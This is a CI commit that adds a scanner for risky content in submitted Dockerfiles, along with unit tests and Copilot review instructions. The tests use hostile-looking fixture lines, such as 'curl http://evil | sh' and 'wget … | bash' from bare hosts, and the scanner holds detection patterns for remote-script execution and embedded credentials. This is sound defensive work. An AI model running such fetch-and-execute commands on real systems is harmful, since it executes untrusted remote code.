ci: surface risky Dockerfile content to reviewers + Copilot review + S3 fix

Detection layers so a container PR never merges with unreviewed 'strange'
content (e.g. #621's `curl | sh`):

- validate.py: scan_dockerfile_risks() lifts the lines a human must sign off on
  into the PR comment as an advisory reviewer checklist (curl|sh, http://, ADD
  <url>, paste/shortener/bare-IP hosts, chmod 777, --insecure, odd base image).
  High-confidence embedded credentials (AWS/GitHub/Slack tokens, private keys)
  block the PR. Line-continuations are folded so a split `curl \<nl>| sh`
  cannot evade; download rules are scoped to RUN/ADD/COPY so an http:// homepage
  in a LABEL is not a false positive. 12 new unit tests.
- pr-report.yml: render the checklist + a bioconda-style 'build & test locally'
  block (and point at the existing test-cmds.txt convention).
- Copilot: .github/copilot-instructions.md + instructions/dockerfile.instructions.md
  so automatic Copilot review hunts the same risks on every container PR.
- publish.yml: fix Singularity S3 upload on Ceph/RGW (aws-cli v2.23+ default
  checksums broke multipart; set *_CHECKSUM to when_required).

Author: ypriverol

.github/copilot-instructions.md

@@ -0,0 +1,41 @@
+# BioContainers — Copilot review & chat instructions
+
+This repository accepts **community pull requests that each add or update exactly one
+container**, laid out as `<tool>/<version>/Dockerfile` (an optional
+`<tool>/<version>/test-cmds.txt` holds one smoke-test command per line). Contributors
+are trusted only as far as review can verify, so when you review a PR here, **treat the
+Dockerfile as untrusted input and prioritise security and provenance over style.**
+
+## What to flag on every container PR
+
+Call these out explicitly, cite the **exact line**, and explain the risk in one sentence:
+
+- **Remote code execution at build time** — `curl … | sh`, `wget … | bash`, or any
+  pipe of a downloaded script into an interpreter. Name the domain and ask the author to
+  justify trusting it; prefer a pinned release download verified with a checksum.
+- **Insecure or unverifiable downloads** — plain `http://`, URL shorteners
+  (`bit.ly`, `t.co`, …), pastebins/gists, bare IP addresses, `ADD <url>` (no checksum),
+  or `--insecure` / `--no-check-certificate`.
+- **Embedded secrets** — any AWS key, GitHub/Slack token, private key, or
+  `password=`/`api_key=` value. This must block the PR; the credential is already in
+  git history and must be rotated.
+- **Base image** — the `FROM` should be an official `biocontainers/*` (or
+  `quay.io/biocontainers/*`) image. Anything else warrants an explicit justification.
+- **Package provenance** — installs without a pinned version, or package names that look
+  typosquatted or unrelated to the tool being packaged.
+- **Excess privilege / footprint** — `chmod 777`, `sudo`, opening ports, writing outside
+  the build, running as root without returning to `USER biodocker`, or anything that
+  "phones home".
+
+## Metadata the CI already enforces (reinforce, don't duplicate)
+
+Required LABELs: `software`, `software.version` (must equal the version directory),
+`version`, `base_image`, `about.summary` (≥ 20 chars), `about.home`, `about.license`
+(an SPDX id). The image tag is `<version>_cv<version-label>`. If any of these look wrong
+or implausible, mention it, but the Python validator (`.github/scripts/validate.py`) is
+the source of truth for pass/fail — your job is the judgement calls it cannot encode.
+
+## Style
+
+Keep comments specific and actionable. Prefer one precise comment on the risky line over
+a general summary. Do not rewrite the whole Dockerfile; suggest the minimal safer form.

.github/instructions/dockerfile.instructions.md

@@ -0,0 +1,27 @@
+---
+applyTo: "**/Dockerfile"
+---
+
+# Reviewing a BioContainers Dockerfile
+
+When the diff touches a `Dockerfile`, review it as **untrusted contributor input** and
+lead with security. For each concern, cite the exact line and give the safer alternative.
+
+Hard stops (should block the PR):
+- Any embedded credential — AWS key (`AKIA…`), GitHub token (`ghp_…`), Slack token,
+  private key block, or a real-looking `password=` / `secret=` / `api_key=` value.
+
+Always question (comment, don't necessarily block):
+- `curl … | sh` / `wget … | bash` — a remote script executed at build time. Which domain?
+  Is it pinned? Prefer downloading a tagged release and verifying a checksum.
+- `http://` downloads, `ADD <url>`, URL shorteners, pastebins/gists, bare-IP hosts,
+  `--insecure` / `--no-check-certificate`.
+- `FROM` that is not `biocontainers/*` or `quay.io/biocontainers/*`.
+- Unpinned or typosquatted package installs; `chmod 777`; `sudo`; running as root without
+  a final `USER biodocker`.
+
+Also confirm the required LABELs are present and coherent: `software`,
+`software.version` (= the version directory name), `version`, `base_image`,
+`about.summary`, `about.home`, `about.license` (SPDX id).
+
+Prefer one precise comment on the offending line over a broad summary.

.github/scripts/tests/test_validate.py

@@ -178,3 +178,129 @@ def test_check_tag_defaults_cv1_when_version_blank(tmp_path, monkeypatch):
     # version label blank is itself an error, but the tag still falls back to _cv1
     assert tag == "2.1.5-7-deb_cv1"
     assert ok is False
+
+
+# ---------------------------------------------------------------- risk scan
+
+def _scan(tmp_path, body):
+    df = tmp_path / "Dockerfile"
+    df.write_text(body)
+    return validate.scan_dockerfile_risks(str(df))
+
+
+def checklist_msgs(checklist):
+    return [c["msg"] for c in checklist]
+
+
+def test_scan_flags_curl_pipe_shell(tmp_path):
+    # the phynest/#621 case
+    secrets, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/biocontainers:v1.0.0_cv5\n"
+        "RUN curl -fsSL https://install.julialang.org | sh -s -- -y\n")
+    assert secrets == []
+    assert any("remote script" in c for c in checklist_msgs(checklist))
+
+
+def test_scan_flags_wget_pipe_bash(tmp_path):
+    _, checklist = _scan(tmp_path, "FROM biocontainers/x\nRUN wget -qO- http://x | bash\n")
+    msgs = checklist_msgs(checklist)
+    assert any("remote script" in m for m in msgs)
+    assert any("insecure `http://`" in m for m in msgs)
+
+
+def test_scan_flags_add_url_and_bare_ip(tmp_path):
+    _, checklist = _scan(tmp_path, "FROM biocontainers/x\nADD https://10.0.0.1/pkg.tar /tmp/\n")
+    msgs = checklist_msgs(checklist)
+    assert any("`ADD <url>`" in m for m in msgs)
+    assert any("bare IP" in m for m in msgs)
+
+
+def test_scan_flags_non_biocontainers_base(tmp_path):
+    _, checklist = _scan(tmp_path, "FROM debian:stable-slim\nRUN echo hi\n")
+    assert any("not an official `biocontainers/*`" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_accepts_quay_biocontainers_base(tmp_path):
+    _, checklist = _scan(tmp_path, "FROM quay.io/biocontainers/samtools:1.19\nRUN echo hi\n")
+    assert not any("not an official" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_only_first_from_is_policy_checked(tmp_path):
+    # a builder stage may be anything; only the first FROM is flagged, once
+    _, checklist = _scan(
+        tmp_path,
+        "FROM golang:1.22 AS build\nRUN go build\nFROM alpine\nCOPY --from=build /x /x\n")
+    base_flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
+    assert len(base_flags) == 1
+
+
+def test_scan_ignores_comments(tmp_path):
+    secrets, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/x\n# RUN curl http://evil | sh  (this is a comment)\nRUN echo ok\n")
+    assert secrets == []
+    assert checklist == []
+
+
+def test_scan_blocks_aws_key(tmp_path):
+    secrets, _ = _scan(
+        tmp_path, "FROM biocontainers/x\nENV KEY=AKIAIOSFODNN7EXAMPLE\n")
+    assert any("AWS access key" in s["msg"] for s in secrets)
+
+
+def test_scan_blocks_private_key(tmp_path):
+    secrets, _ = _scan(
+        tmp_path, "FROM biocontainers/x\nRUN echo '-----BEGIN OPENSSH PRIVATE KEY-----'\n")
+    assert any("private key" in s["msg"] for s in secrets)
+
+
+def test_scan_credential_heuristic_does_not_echo_value(tmp_path):
+    # advisory only, and the matched line must NOT be echoed (no snippet leak)
+    secrets, checklist = _scan(
+        tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD=hunter2secret\n")
+    assert secrets == []
+    cred = [c for c in checklist if "embed a credential" in c["msg"]]
+    assert cred and cred[0]["snippet"] == ""
+
+
+def test_scan_http_in_label_is_not_a_download(tmp_path):
+    # a homepage URL in a LABEL must NOT be flagged as an insecure download
+    _, checklist = _scan(
+        tmp_path,
+        'FROM biocontainers/x\nLABEL about.home="http://example.org"\nRUN echo ok\n')
+    assert not any("insecure `http://`" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_catches_split_curl_pipe_shell(tmp_path):
+    # backslash continuation must not let `curl … | sh` evade the scan
+    _, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/x\nRUN curl -fsSL https://x.sh \\\n    | sh\n")
+    assert any("remote script" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_clean_dockerfile_no_findings(tmp_path):
+    secrets, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/biocontainers:v1.2.0_cv1\n"
+        "RUN apt-get update && apt-get install -y samtools\n")
+    assert secrets == []
+    assert checklist == []
+
+
+def test_cmd_detect_populates_review_checklist(tmp_path):
+    (tmp_path / "tool" / "1").mkdir(parents=True)
+    (tmp_path / "tool" / "1" / "Dockerfile").write_text(
+        "FROM biocontainers/x\nRUN curl -fsSL https://x.sh | sh\n")
+    out = tmp_path / "report.json"
+    (tmp_path / "cf.txt").write_text("tool/1/Dockerfile\n")
+    import argparse
+    import json as _json
+    args = argparse.Namespace(
+        changed_files=str(tmp_path / "cf.txt"), workdir=str(tmp_path), out=str(out))
+    rc = validate.cmd_detect(args)
+    report = _json.loads(out.read_text())
+    assert rc == 0
+    assert report["ok"] is True  # advisory, does not fail the build
+    assert any("remote script" in c for c in report["review_checklist"])

.github/scripts/validate.py

@@ -34,6 +34,61 @@
 # subset of this, so rejecting anything else is free.
 SAFE_TOKEN_RE = re.compile(r"^[A-Za-z0-9._-]+$")
 
+# --- Dockerfile risk surface -------------------------------------------------
+# A submitted Dockerfile is arbitrary contributor input. These patterns lift the
+# lines a human reviewer must look at up into the PR comment, so nothing risky is
+# ever merged without an explicit sign-off. Two tiers:
+#   SECRET_RULES  — high-confidence embedded credentials. These BLOCK the PR (the
+#                   secret is already in git history and must be rotated). Kept
+#                   deliberately narrow (structured tokens) so a legitimate PR is
+#                   never blocked by a false positive.
+#   REVIEW_RULES  — "please verify this" heuristics. These NEVER block (plenty of
+#                   legitimate containers do `curl | sh`); they populate an advisory
+#                   reviewer checklist. The middle field is show_snippet: whether it
+#                   is safe to echo the matched line back into the public PR comment
+#                   (False for the credential heuristic, so we never leak a value).
+SECRET_RULES = (
+    (re.compile(r"\bAKIA[0-9A-Z]{16}\b"), "an AWS access key ID"),
+    (re.compile(r"\bASIA[0-9A-Z]{16}\b"), "an AWS temporary access key ID"),
+    (re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH |DSA |PGP )?PRIVATE KEY-----"), "a private key"),
+    (re.compile(r"\bghp_[A-Za-z0-9]{36}\b"), "a GitHub personal access token"),
+    (re.compile(r"\bgho_[A-Za-z0-9]{36}\b"), "a GitHub OAuth token"),
+    (re.compile(r"\bgithub_pat_[A-Za-z0-9_]{22,}\b"), "a GitHub fine-grained token"),
+    (re.compile(r"(?i)aws_secret_access_key\s*[=:]\s*[\"']?[A-Za-z0-9/+]{40}\b"), "an AWS secret access key"),
+    (re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{10,}\b"), "a Slack token"),
+)
+
+# Dockerfile instructions that actually fetch or execute content; the download
+# heuristics only fire inside these, so an http:// homepage in a LABEL is never
+# mistaken for an insecure download. Each REVIEW rule is
+# (regex, show_snippet, scope, message); scope=None means "any instruction".
+FETCH_INSTR = ("RUN", "ADD", "COPY")
+
+REVIEW_RULES = (
+    (re.compile(r"(?:curl|wget)\b[^|]*\|\s*(?:sudo\s+)?(?:ba)?sh\b"), True, ("RUN",),
+     "runs a remote script straight through a shell (`curl … | sh`) — confirm you trust the "
+     "source; prefer a pinned download + checksum"),
+    (re.compile(r"(?i)\bADD\s+https?://"), True, ("ADD",),
+     "uses `ADD <url>` (no checksum, bypasses the layer cache) — prefer `curl`/`wget` with a "
+     "verified checksum, or `COPY`"),
+    (re.compile(r"http://[^\s\"']+"), True, FETCH_INSTR,
+     "downloads over insecure `http://` — use `https://`"),
+    (re.compile(r"(?i)https?://(?:pastebin\.com|[a-z0-9.-]*gist\.github|bit\.ly|tinyurl\.com|t\.co)/"),
+     True, FETCH_INSTR,
+     "fetches from a paste site or URL shortener — confirm what is actually being downloaded"),
+    (re.compile(r"https?://\d{1,3}(?:\.\d{1,3}){3}"), True, FETCH_INSTR,
+     "downloads from a bare IP address — confirm this endpoint is trusted"),
+    (re.compile(r"(?i)chmod\s+(?:-R\s+)?0?777\b"), True, ("RUN",),
+     "sets world-writable permissions (`chmod 777`) — scope permissions more tightly"),
+    (re.compile(r"(?i)(?:--insecure|--no-check-certificate)\b"), True, ("RUN",),
+     "disables TLS certificate verification (`--insecure` / `--no-check-certificate`)"),
+    (re.compile(r"(?i)(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']?\S{6,}"), False, None,
+     "may embed a credential/secret — verify that no real secret is committed"),
+)
+
+# Approved base-image prefixes; any other FROM is surfaced for a look (advisory only).
+APPROVED_BASE_RE = re.compile(r"(?i)^(?:docker\.io/)?(?:quay\.io/)?biocontainers/")
+
 
 def _safe(value):
     return bool(value) and SAFE_TOKEN_RE.match(value) is not None
@@ -239,16 +294,87 @@ def check_labels(container, version, labels, dockerfile):
     return ok, (software or container), tag, errors, warnings
 
 
+def scan_dockerfile_risks(dockerfile_path):
+    """Scan a submitted Dockerfile for content a reviewer must see.
+
+    Returns (secrets, checklist):
+      secrets   — [{line, msg}]           high-confidence embedded credentials (blocking)
+      checklist — [{line, snippet, msg}]  advisory 'please verify' items (never blocking;
+                  snippet is '' when it is not safe to echo the line into a public comment).
+    Comment/blank lines are ignored; only the first FROM is policy-checked.
+    """
+    secrets, checklist = [], []
+    if not (dockerfile_path and os.path.exists(dockerfile_path)):
+        return secrets, checklist
+    with open(dockerfile_path, errors="replace") as fh:
+        raw_lines = fh.read().splitlines()
+
+    # Fold backslash line-continuations into one logical instruction so a split
+    # `curl … \` <newline> `| sh` cannot slip past a per-line regex. Each entry is
+    # (start_line, INSTRUCTION, joined_text).
+    logical, buf, start, instr = [], None, None, None
+    for i, raw in enumerate(raw_lines, 1):
+        if buf is None:
+            stripped = raw.strip()
+            if not stripped or stripped.startswith("#"):
+                continue
+            m = re.match(r"([A-Za-z]+)", stripped)
+            instr = m.group(1).upper() if m else ""
+            start, buf = i, raw
+        else:
+            buf += "\n" + raw
+        if raw.rstrip().endswith("\\"):
+            continue
+        logical.append((start, instr, buf))
+        buf = None
+    if buf is not None:
+        logical.append((start, instr, buf))
+
+    saw_from = False
+    for start, instr, text in logical:
+        snippet = text.splitlines()[0].strip()[:160]
+        for rx, what in SECRET_RULES:
+            if rx.search(text):
+                secrets.append({"line": start, "msg": "line %d appears to contain %s" % (start, what)})
+        for rx, show, scope, msg in REVIEW_RULES:
+            if scope is not None and instr not in scope:
+                continue
+            if rx.search(text):
+                checklist.append({"line": start, "snippet": snippet if show else "", "msg": msg})
+        if instr == "FROM" and not saw_from:
+            saw_from = True
+            m = re.search(r"(?i)FROM\s+(\S+)", text)
+            if m and not APPROVED_BASE_RE.match(m.group(1)):
+                checklist.append({"line": start, "snippet": snippet,
+                                  "msg": "base image `%s` is not an official `biocontainers/*` image "
+                                         "— confirm it is an approved base" % m.group(1)[:80]})
+    return secrets, checklist
+
+
+def _fmt_checklist(item):
+    """Render one advisory checklist item as a single sanitizable string for the report."""
+    if item.get("snippet"):
+        return "%s  _(line %d: `%s`)_" % (item["msg"], item["line"], item["snippet"])
+    return "%s  _(line %d)_" % (item["msg"], item["line"])
+
+
 def cmd_detect(args):
     with open(args.changed_files) as fh:
         changed = fh.read().splitlines()
     container, version, errors = detect_container(changed, args.workdir)
+    checklist = []
+    if container and version and not errors:
+        dockerfile = os.path.join(args.workdir, container, version, "Dockerfile")
+        secrets, checklist = scan_dockerfile_risks(dockerfile)
+        for s in secrets:
+            errors.append(s["msg"] + " — remove it and rotate the credential before resubmitting.")
     report = {
         "container": container,
         "version": version,
         "ok": not errors,
         "errors": errors,
         "warnings": [],
+        "review_checklist": [_fmt_checklist(c) for c in checklist],
         "pr_number": os.environ.get("PR_NUMBER") or None,
         "head_sha": os.environ.get("HEAD_SHA") or None,
         "software": container,
@@ -272,6 +398,11 @@ def cmd_check(args):
     labels = json.loads(raw) if raw and raw != "null" else {}
     ok, software, tag, errors, warnings = check_labels(
         args.container, args.version, labels, args.dockerfile)
+    secrets, checklist = scan_dockerfile_risks(args.dockerfile)
+    for s in secrets:
+        errors.append(s["msg"] + " — remove it and rotate the credential before resubmitting.")
+    if secrets:
+        ok = False
     report = {
         "container": args.container,
         "version": args.version,
@@ -280,6 +411,7 @@ def cmd_check(args):
         "ok": ok,
         "errors": errors,
         "warnings": warnings,
+        "review_checklist": [_fmt_checklist(c) for c in checklist],
         "pr_number": os.environ.get("PR_NUMBER") or None,
         "head_sha": os.environ.get("HEAD_SHA") or None,
     }